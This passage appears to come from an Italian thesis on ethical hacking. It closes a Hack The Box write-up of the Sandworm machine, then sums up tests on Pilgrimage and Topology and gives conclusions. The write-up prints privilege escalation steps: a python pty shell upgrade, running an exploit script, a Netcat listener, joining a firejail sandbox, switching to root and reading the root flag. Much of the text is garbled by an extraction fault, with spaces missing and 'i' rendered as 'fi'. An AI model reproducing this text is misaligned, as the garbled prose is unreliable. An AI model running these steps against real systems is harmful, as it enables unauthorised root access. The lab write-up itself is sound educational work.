https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
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Ffigura5.39:Importazfionedelfiledfiexplofit

Successfivamentecfisfidfirfigefin/tmpfincufisfitrovafilfileexplofit.pye,sfidfigfitafilco-
mando python3 -c "fimport pty;pty.spawn(’/bfin/bash’)",cherappresentaun
tentatfivodfimfiglfiorarel’finterazfioneconunashelldfisfistemaquandosfiutfilfizzauntermfinale
pseudo-TTY(PTY).Successfivamentesfirendeesegufibfilefilfileexplofit.pyattraversofil
comandochmod +x explofit.pyesfieseguefilsuddettofile.

ComerfisultatosfiavràlasezfioneevfidenzfiatafinrossonellaFfigura5.40.

Ffigura5.40:Rfisultatodell’esecuzfionedelfileexplofit.py

AprendounasecondashellestabfilendounasecondaconnessfioneNetcatfinascoltoalla
porta4444,sfidfigfitafilcomandorfisultantedall’explofit,ossfiaffirejafil -jofin=504704.

Ilcomandoffirejafil -jofin=504704èutfilfizzatopercollegarsfiaunprocessoesfistente
all’finternodell’ambfientedfifisolamento,creatodaFfirejafil.L’opzfione-jofinfinFfirejafilvfiene
utfilfizzatapercollegarsfiaunprocessoesfistenteall’finternodfiunsandboxgfiàavvfiato,mentre
filnumerodopo-jofinèl’fiddelprocessoacufisfidesfideraunfirsfi.

Inquestocaso,ffirejafil -jofin=504704stacercandodfiunfirsfiaunprocessospecfifico
conID 504704all’finternodell’ambfientedfisandboxfingdfiFfirejafil.Ilcomandosu -finLfinux
èutfilfizzatopercambfiareutenteeaccedereaunaltroaccount,finquestocontestol’utenteroot,
comesfipuòvederedalrfisultatodelcomandofidfinFfigura5.41.

Successfivamente,sfidfigfitafilcomandopython3 -c "fimport pty;pty.spawn(’/b
fin/bash’)",tralecufidoppfievfirgolette,vfieneesegufitofilseguentecodficePython:

•fimport pty:fistruzfionechefimportafilmodulopty,chestaperpseudo-termfinalhandlfing
filqualeconsentedfimanfipolaretermfinalfivfirtualfiall’finternodfiunoscrfiptPython.

•pty.spawn(’/bfin/bash’):fistruzfionecheutfilfizzafil moduloptyperesegufireun
shellfinterattfiva/bfin/bashall’finternodeltermfinalecorrente.

Inoltre,sfinotachesfièautentficatficomeutenteroot(Ffigura5.41).
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Ffigura5.41:OttenfimentodellaShellRoot

SfivfisualfizzalalfistadefifilepresentfinellaShellRoote,nellospecfifico,tramfitefilcomando
cat root.txt,sfiesamfinafilcontenutodelfileroot.txt,scoprendolaRootFlag(Ffigura
5.42).

Ffigura5.42:OttenfimentodellaRootFlag



CAPITOLO 6

Discussione in merito al lavoro svolto

Nel corso di questo capitolo esploreremo in modo riassuntivo i penetration test svolti sulle macchine
virtuali nei rispettivi Capitoli 3, 4 e 5, descrivendo i punti salienti e i tratti caratteristici di ogni macchina
bersaglio.

6.1 Premessa

I penetration test hanno fornito importanti informazioni sulla sicurezza dei sistemi bersa-
glio e hanno consentito di identificare e mitigare le vulnerabilità rilevate. Questo processo è
essenziale per migliorare la sicurezza di un sistema e proteggere i dati e le risorse da poten-
ziali minacce informatiche. Inoltre, offre l’opportunità di apprendere e raffinare le abilità di
sicurezza informatica attraverso l’esperienza pratica.

Le macchine trattate sono relative a scenari differenti ma con un denominatore comune
ossia, come già visto, si basano sul sistema operativo Linux. Esse sono state affrontate con un
ordine di difficoltà crescente, cioè partendo dalla meno insidiosa fino ad arrivare a quella più
complessa e dettagliata.

6.2 Penetration Test sulla macchina Pilgrimage

Il penetration test affrontato nel Capitolo 3 è stata un’operazione di sicurezza informatica
mirata a valutare la robustezza e la sicurezza di una macchina Linux ospitata sulla piattaforma
Hack The Box. Il nome in codice "Pilgrimage" rappresenta il sistema target dell’attacco, che
è stato sottoposto a una serie di test e analisi da parte di un team di professionisti della
sicurezza informatica.

Il pentest è stato condotto seguendo una metodologia ben strutturata, che includeva la
fase di raccolta di informazioni, scansione di porte, identificazione di servizi, vulnerabilità
e test di penetrazione effettivi. Durante la fase di raccolta di informazioni, abbiamo cercato
di raccogliere dati sul sistema, come indirizzi IP, nomi host, e informazioni sul software in
esecuzione.

Successivamente, abbiamo effettuato una scansione delle porte per identificare quelle
aperte e i servizi in ascolto sulla macchina. Questo ci ha permesso di determinare quali punti
di accesso sfruttare in un attacco.
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Unavoltafindfivfiduateleporteaperteefiservfizfifinesecuzfione,èstatacondottaun’analfisfi
dellevulnerabfilfitàperfidentfificareeventualfidebolezzenelsfistema.Questofincludevala
rficercadfinotfiCVE(CommonVulnerabfilfitfiesandExposures)ealtrevulnerabfilfitàconoscfiute.

Infine,èstatoeffettuatofiltestdfipenetrazfioneeffettfivo,chehacofinvoltofiltentatfivodfi
sfruttarelevulnerabfilfitàfidentfificateperottenerel’accessononautorfizzatoalla macchfina
Pfilgrfimage.Successfivamenteabbfiamocercatodfiesegufirecomandfinonautorfizzatfi,ottenere
prfivfilegfiammfinfistratfivfieottenerel’accessosfiaallaShellUtentecheallaShellRoot.

Lelezfionfiappresenelcontestodfiquestopenetratfiontestrfiguardanolarficercadfivulnera-
bfilfitàfinrfiferfimentoasfitficheoffronolapossfibfilfitàdficomprfimerefimmagfinficarficatedaglfi
utentfistessfi.Infattfi,cercandolaCVEecarficandolasulsfitocorrfispondentealla macchfina
Pfilgrfimage,sfièeffettuatounexplofitalfinedfiottenerel’accessoallaShellUtenteperpofi
prosegufire,attraversolaPrfivfilegeEscalatfion,all’ottenfimentodelcontrollodellaShellRoot.

6.3 PenetratfionTestsullamacchfinaTopology

NelCapfitolo4abbfiamoaffrontatounpenetratfiontestvoltoavalutarelasficurezzadfiuna
macchfinaLfinuxospfitatasullapfiattaformaHackTheBox.Questamfissfioneprendefilnomefin
codficedfiTopology.Durantequestaoperazfione,cfisfiamofimmersfifinun’analfisfiapprofondfita
edettaglfiatadellamacchfina,esamfinandofipuntfidfiforzaelepossfibfilfidebolezzedelsfistema.

Vedfiamofipuntfisalfientfidelsuddettopenetratfiontest:

•FasedfiPreparazfione:prfimadfifinfizfiarefilpentest,sfièstabfilfitounpfianodfitestdettaglfiato,
ottenendofinformazfionfiprelfimfinarfisullamacchfinaTopology.Cfiòhafinclusolaraccolta
dfifinformazfionfisuIP,servfizfiapertfi,sfistemaoperatfivoeconfigurazfionfi.

•RficognfizfioneeScansfione:sfiècondottaunascansfionedefiservfizfiedelleporteaperte
sullamacchfinaperfidentfificarepossfibfilfipuntfid’fingresso.Inquestafase,sfisonocercate
vulnerabfilfitàcomunfiefinformazfionfisulsfistema.

•Enumerazfione:unavoltafidentfificateleporteaperteefiservfizfifinesecuzfione,abbfiamo
cercatodfiottenereulterfiorfifinformazfionfisulsfistema,comenomfiutente,gruppfi,servfizfi
finesecuzfioneeautorfizzazfionfi,tramfitefilsoftwareNmap.

•Sfruttamento:finquestafase,sfiècercatodfisfruttarelevulnerabfilfitàfidentfificateper
ottenerel’accessononautorfizzatoallamacchfinaTopology.Sfièsfruttatol’usodfiexplofit
eattacchfidfiforzabruta,adesempfioLateXInjectfion.

•Documentazfione:durantetuttofilprocessosfièdocumentatoattentamenteognfipassaggfio,
finclusfifirfisultatfidellescansfionfi,levulnerabfilfitàfidentfificateelemfisureadottateper
ottenerel’accesso.

Lelezfionfiappresenelcontestodfiquestopenetratfiontestrfiguardanolarficercadfivulne-
rabfilfitàfinrfiferfimentoasfitficheoffronolapossfibfilfitàdficrearefileconestensfione.pngdfi
equazfionfiLaTeXdfirettamentenelbrowser.Infattfi,sfiècercato,nelmotoredfirficerca,comandfi
LateXpereffettuareunaLaTeXInjectfion,ossfiaunattaccofinformatficochesfruttadebolezzedfi
parsfingdellfinguaggfioLaTeX.CarficandofilcomandocorrfispondenteallaLaTeXInjectfionsul
sfitocorrfispondenteallamacchfinaTopology,sfièeffettuatounexplofitalfinedfiottenerel’ac-
cessoallaShellUtenteperpofiprosegufire,attraversolaPrfivfilegeEscalatfion,all’ottenfimento
delcontrollodellaShellRoot.
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6.4 PenetratfionTestsullamacchfinaSandworm

La macchfinavfirtuale,offertada HackTheBoxesoggettodelterzopenetratfiontest
dfiscussonelCapfitolo5,rappresentaunodefi massfimfilfivellfidfidfifficoltànell’ambfitodel
penetratfiontestfingsusfistemfiLfinux.

Inquestocontesto,abbfiamoavutol’opportunfitàdfisondareleprofondfitàdfiunsfistema
operatfivoLfinuxaltamenteconfiguratoeprotetto.Sandwormèconcepfitoperessereunlabfirfin-
tofintrficatodfivulnerabfilfità,explofitesfidecherfichfiedonounaconoscenzaapprofondfitadelle
tecnologfieLfinux,dellebuonepratfichedfisficurezzaedelletecnficheavanzatedfipenetratfion
testfing.

Inquestaavventura,glfiobfiettfivfisonostatfimolteplficfi:dallafasedfirficognfizfionefinfizfiale,fin
cufisonostateraccoltefinformazfionficrfitfiche,allascopertaeallosfruttamentodfivulnerabfilfità
sofistficatealfinedfiottenerel’accessoallaShellUtenteeallaShellRoot.

Lelezfionfiappresenelcontestodfiquestopenetratfiontestrfiguardanolarficercadfivulne-
rabfilfitàfinrfiferfimentoasfitficheoffronofistruzfionfisucomeutfilfizzarelacrfittografiaPGPper
firmareeverfificaremessaggfi,enfatfizzandol’fimportanzadellasficurezzaedellaprfivacynelle
comunficazfionfionlfine.Nelcorsodellafasedfiexplofitatfion,èstatomessofinpratficafilsoftware
GnuPG,fimparandoneleprfincfipalfifunzfionalfitàtracufilagenerazfionedficoppfiedfichfiavfi
crfittografiche,unachfiavepubblficaeunachfiaveprfivata,perglfiutentfi.Lachfiavepubblfica
puòesserecondfivfisaconaltrfipercfifraremessaggfioverfificarefirme,mentrelachfiaveprfivata
deveesseremantenutasegretaevfieneutfilfizzataperdecfifraremessaggfiofirmaredocumentfi.



Conclusioni

Nel corso della trattazione, è stato possibile toccare con mano tutte le varie sfumature che
vi sono attorno al concetto di ethical hacking: dalla definizione della figura e degli impieghi
dell’hacker etico ai cenni storici, partendo dagli albori degli hacker inglesi a Cambridge,
passando allo sviluppo e alla diffusione del fenomeno di "hakkaggio". La discussione è pro-
seguita per i concetti chiave dell’ethical hacking, tra cui ricordiamo le fasi principali di un
penetration test (Vulnerability Analysis e Exploit), la differenza tra Black, Gray e White
Hacker e l’impiego nel sociale, in cui si sottolineano temi come privacy e protezione dei dati
personali, ingegneria sociale, sicurezza delle applicazioni social, disclosure responsible, per
finire con il rilevamento e i metodi di prevenzione dei deepfake.

Prima di arrivare ai capitoli riguardanti gli effettivi penetration test, sono state discusse le
tecnologie coinvolte in questi ultimi, in modo tale da offrire una spiegazione della strategia di
attacco chiara e sensata. In particolare, si è descritto l’ambiente nel quale sono stati condotti
i penetration test, ossia Kali Linux. Questo sistema operativo è preferito per i penetration
test in quanto offre un ambiente preconfigurato e una vasta gamma di strumenti per attuare
penetration test.

Oltre a Kali Linux, i penetration test sono stati messi in atto grazie all’utilizzo della
piattaforma web Hack The Box, che fornisce un ambiente controllato e simulato in cui si
possono eseguire test in un contesto realistico e legale.

Di seguito a queste piattaforme, sono stati illustrati dei software coinvolti nei penetration
test. Questi rappresentano un insieme essenziale di strumenti utilizzati dai professionisti della
sicurezza informatica per condurre penetration test, identificare vulnerabilità e migliorare
la sicurezza dei sistemi. Ogni strumento ha il suo ruolo specifico all’interno del processo di
penetration test e contribuisce all’obiettivo generale di valutare e migliorare la sicurezza delle
risorse digitali. Tra i software descritti ricordiamo Nmap, Gobuster, Netcat, Secure Shell (SSH),
Searchsploit, John The Ripper e GnuPG.

A questo punto della trattazione, sono presenti tre capitoli dedicati ai rispettivi penetration
test, ciascuno seguendo la struttura tipica di un penetration test standard, che prevede i
seguenti passi:

1. Information Gathering;

2. Vulnerability Analysis;

3. Exploitation;

4. Post-Exploitation.
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A conclusione di questa tesi, vale la pena analizzare i possibili sviluppi futuri. Prima di
tutto, è importante sottolineare che l’ethical hacking svolge un ruolo cruciale nella prote-
zione delle informazioni e della privacy in un mondo sempre più digitalizzato. Le minacce
informatiche si evolvono costantemente, e pertanto, anche gli approcci alla sicurezza devono
rimanere aggiornati.

Una direzione promettente per lo sviluppo futuro riguarda l’analisi della sicurezza dei
servizi cloud e delle applicazioni web. Con sempre più aziende che si affidano ai servizi cloud
per archiviare e gestire dati sensibili, diventa essenziale valutare e migliorare la sicurezza di
tali servizi. Infatti, nel mondo digitale odierno, le aziende si trovano di fronte a sfide sempre
crescenti per quanto riguarda la sicurezza delle informazioni e la protezione dei dati sensibili.
La quantità di dati che vengono elaborati e archiviati è in costante aumento; questa crescente
mole di informazioni rappresenta un obiettivo allettante per gli attaccanti informatici.

In questo contesto, l’ethical hacking assume un ruolo fondamentale per aiutare le aziende
a identificare e mitigare le vulnerabilità nei loro sistemi, reti e applicazioni. Gli ethical hacker
lavorano in stretta collaborazione con le aziende per condurre test di penetrazione realistici,
simulando attacchi informatici che potrebbero essere utilizzati da malintenzionati. L’obiettivo
principale dell’ethical hacking è scoprire e documentare le vulnerabilità, consentendo alle
aziende di prendere misure preventive prima che gli attaccanti possano sfruttarle. Questo
approccio proattivo è cruciale per evitare costose violazioni dei dati e danni all’immagine
aziendale.

La collaborazione tra le aziende e gli ethical hacker è basata sulla fiducia e sulla trasparen-
za. Le aziende forniscono accesso ai propri sistemi e reti, consentendo agli ethical hacker di
eseguire test di penetrazione in un ambiente controllato. Questa collaborazione permette alle
aziende di ottenere una valutazione accurata della loro postazione difensiva e di identificare
aree di miglioramento.

Senza dubbio, il legame tra le aziende e gli ethical hacker è fondamentale per garantire
la sicurezza informatica; tuttavia, è importante riconoscere che molte aziende al giorno
d’oggi sottovalutano ancora l’importanza della protezione dei dati e, spesso, evitano di
investire in questa area critica, considerandola come una spesa accessoria piuttosto che come
un investimento essenziale. Una delle ragioni di questa sottovalutazione potrebbe essere
la mancanza di consapevolezza riguardo alle reali minacce e agli impatti delle violazioni
dei dati. Alcune aziende potrebbero ritenere che non saranno mai bersagliate da attacchi
informatici o che i loro dati non siano abbastanza interessanti per gli hacker. Tuttavia, questa
è una visione ingenua della realtà digitale odierna. Gli attaccanti informatici mirano spesso
alle aziende di piccole e medie dimensioni proprio perché queste potrebbero avere misure di
sicurezza meno solide rispetto alle grandi imprese.

Per concludere, la collaborazione tra aziende ed ethical hacker è essenziale per la prote-
zione dei dati e la sicurezza informatica e, per questo, è cruciale che le aziende riconoscano
l’importanza di investire in sicurezza informatica e comprendano che la protezione dei dati è
un requisito indispensabile nel mondo digitale odierno.
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